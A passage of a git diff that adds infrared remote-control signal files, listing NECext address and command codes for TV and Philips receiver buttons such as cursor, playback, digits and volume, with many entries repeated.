parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir new file mode 100644 index 000000000..68d97f7ba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_TV+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_TV- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir new file mode 100644 index 000000000..f9fbe7296 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: SPEAKERS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir new file mode 100644 index 000000000..b8b57b67c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: -/-- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0A 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0C 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: WIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: PRESET_TRACK+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 